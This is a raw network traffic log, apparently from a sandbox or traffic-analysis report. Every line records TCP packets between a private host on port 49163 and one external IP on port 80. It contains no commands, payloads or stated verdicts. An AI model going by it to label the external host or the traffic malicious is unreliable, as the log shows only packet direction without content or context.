Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 154.216.19.160:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 154.216.19.160:80
